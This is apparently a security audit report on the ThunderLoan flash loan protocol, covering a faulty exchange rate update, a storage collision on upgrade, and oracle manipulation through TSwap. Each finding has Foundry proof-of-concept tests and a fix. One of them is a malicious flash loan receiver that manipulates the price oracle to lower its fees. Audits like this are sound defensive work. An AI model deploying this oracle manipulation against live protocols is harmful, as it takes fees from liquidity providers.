# ThunderLoan Audit Report

Version 1.0

*Prakash Yadav*

September 6, 2025

# ThunderLoan Audit Report

Prakash Yadav

September 6, 2025

Prepared by: Prakash Yadav Lead Auditors: - Prakash Yadav

## Table of Contents

## Protocol Summary

ThunderLoan is a decentralized flash loan protocol built on Ethereum. It allows users to borrow assets without collateral, provided the loan is repaid within the same transaction. Liquidity providers deposit underlying ERC20 tokens (such as USDC, DAI, LINK, and WETH) and receive corresponding asset tokens in return, which represent their share of the pool and accrue fees over time. The protocol integrates with TSwap for price oracles, but this introduces risks of oracle manipulation where attackers can exploit the constant product formula to artificially alter prices during flash loans. Additionally, there are vulnerabilities in reward calculation due to incorrect exchange rate updates, potentially leading to reward manipulation for liquidity providers. The protocol also faces storage collision issues during upgrades, which could result in incorrect fee settings and protocol freezing.

## Disclaimer

Prakash Yadav makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

### Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

### Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

## Executive Summary

### Issues found

| Category | No. of Issues |
|---|---|
| High | 2 |
| Medium | 1 |
| Total | 3 |

## Findings

## High

### [H-1]: Error in `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.

**Description:** In the ThunderLoan, the `exchangeRate` is responsible for calculating the exchange rate between assets tokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

**Impact:** 1. The `redeem` function is blocked, because the protocol thinks the owe (borrowed) token is more than it has. 2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

**Proof of Concepts:** 1. Liquidity Providers deposits 2. Borrower takes out a flash loan. 3. It is now impossible for liquidity provider to redeem.

Place following code in `ThunderLoanTest.t.sol`:

PoC

Place following code in `ThunderLoanTest.t.sol`.

```
      function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();
        uint256 amountToRedeem=type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA,amountToRedeem);
    }
```

**Recommended Mitigation:** Remove the incorrectly updated exchanged rate lines from `deposit` function.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

### [H-2]: Mixing up variable location causing storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocols.

**Description:** `ThunderLoan.sol` has two variable in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in different order:

```
    uint256 private s_flashLoanFee;
    uint256 public constant FEE_PRECISION=1e18;
```

Due to how storage works in solidity, upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables,breaks the storage collisions as well.

**Impact:** After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that borrower who take out flash loans right after an upgrade will be charged the wrong fee.

**Proof of Concepts:**

PoC

Place the following in `ThunderLoanTest.t.sol`.

```
        import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
            ThunderLoanUpgraded.sol";
        .
        .
        .
        function testUpgradeBreaks() public{
          uint256 FeeBeforeUpgrade=thunderLoan.getFee();
          vm.startPrank(thunderLoan.owner());
          ThunderLoanUpgraded upgraded=new ThunderLoanUpgraded();
          thunderLoan.upgradeToAndCall(address(upgraded),"");
          vm.stopPrank();

          console2.log("Fee Before Upgrade: ",FeeBeforeUpgrade);
          uint256 FeeAfterUpgrade=thunderLoan.getFee();
          console2.log("Fee After Upgrade: ",FeeAfterUpgrade);
          assert(FeeBeforeUpgrade != FeeAfterUpgrade);

      }
```

We can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage` in terminal.

**Recommended Mitigation:** If we must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-     uint256 private s_flashLoanFee;
-     uint256 public constant FEE_PRECISION=1e18;
+     uint256 private s_blank;
+     uint256 private s_feePrecision;
+     uint256 private FEE_PRECISION=1e18;
```

## Medium

### [M-1]: Using TSwap as price oracle leads to price/oracle manipulation attacks.

**Description:** The TSwap protocol is a constant product formula based on Automated Market Maker(x*y=k).The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

**Impact:** Liquidity Providers will drastically reduced fees for providing liquidity.

**Proof of Concepts:** The following all of this happens in one transaction (one cycle based).

1. A Borrower takes a flash loan from `ThunderLoan` of 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. Borrower sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the borrower takes out another flash loan for another 1000 `tokenA`.
        1. Due to this, the way `ThunderLoan` calculates price based on the `TSwapPool`.
    3. The borrower then repays the first flash loan, and then repays the second flash loan.

```
        function getPriceInWeth(address token) public view returns (
           uint256) {
             address swapPoolOfToken = IPoolFactory(s_poolFactory).
                getPool(token);
@>           return ITSwapPool(swapPoolOfToken).
    getPriceOfOnePoolTokenInWeth();
     }
```

PoC

Place following code in `ThunderLoanTest.t.sol`:

```
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/
    IFlashLoanReceiver.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/
    ERC1967Proxy.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
.
.
.
function testOracleManipulation() public {
        //Contract
        thunderLoan =new ThunderLoan();
        tokenA=new ERC20Mock();
        proxy=new ERC1967Proxy(address(thunderLoan),"");
        BuffMockPoolFactory pf=new BuffMockPoolFactory(address(weth));

        address tSwapPool=pf.createPool(address(tokenA));
        thunderLoan=ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // Fund Swap

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider,100e18);
        tokenA.approve(tSwapPool,100e18);
        weth.mint(liquidityProvider,100e18);
        weth.approve(tSwapPool,100e18);
        BuffMockTSwap(tSwapPool).deposit(100e18,100e18,100e18,block.timestamp);
        vm.stopPrank();

        //Fund ThunderLoan

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA,true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider,1000e18);
        tokenA.approve(address(thunderLoan),1000e18);
        thunderLoan.deposit(tokenA,1000e18);
        vm.stopPrank();

        //Take Out FlashLoan

        uint256 normalFee=thunderLoan.getCalculatedFee(tokenA,100e18);
        console.log("Normal Fee: ",normalFee);

        uint256 amountToBorrow=50e18;
        MaliciousFlashLoanReceiver attacker=new MaliciousFlashLoanReceiver(address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)), address(tSwapPool));
        vm.startPrank(user);
        tokenA.mint(address(attacker),100e18);
        thunderLoan.flashloan(address(attacker),tokenA,amountToBorrow,"");
        vm.stopPrank();
        uint256 attackFee=attacker.feeOne()+attacker.feeTwo();
        console.log("Attack Fee: ",attackFee);
        assert(attackFee<normalFee);

    }
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver{
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tSwapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _thunderLoan,address _repayAddress,address _tSwapPool){
        thunderLoan=ThunderLoan(_thunderLoan);
        repayAddress=_repayAddress;
        tSwapPool=BuffMockTSwap(_tSwapPool);
    }
    function executeOperation(address token,uint256 amount,uint256 fee,
        address,bytes calldata) external
    returns(bool){
        if (!attacked){
            feeOne=fee;
            attacked=true;
            //Manipulate Oracle
            uint256 wethBought=tSwapPool.getOutputAmountBasedOnInput(50
                e18,100e18,100e18);
            IERC20(token).approve(address(tSwapPool),50e18);
            tSwapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought,block.timestamp);
            thunderLoan.flashloan(address(this),IERC20(token),amount,""
                );
            //IERC20(token).approve(address(thunderLoan),amount+fee);
            //thunderLoan.repay(IERC20(token),amount+fee);
            IERC20(token).transfer(address(repayAddress),amount+fee);
        }
        else{
            feeTwo=fee;
            //IERC20(token).approve(address(thunderLoan),amount+fee);
            //thunderLoan.repay(IERC20(token),amount+fee);
            IERC20(token).transfer(address(repayAddress),amount+fee);
        }
        return true;
    }
}
```

**Recommended Mitigation:** Consider using a different price oracle mechanism, like a Chain-link price feed with a uniswap TWAP (Time Weighted Average Price) fallback oracle.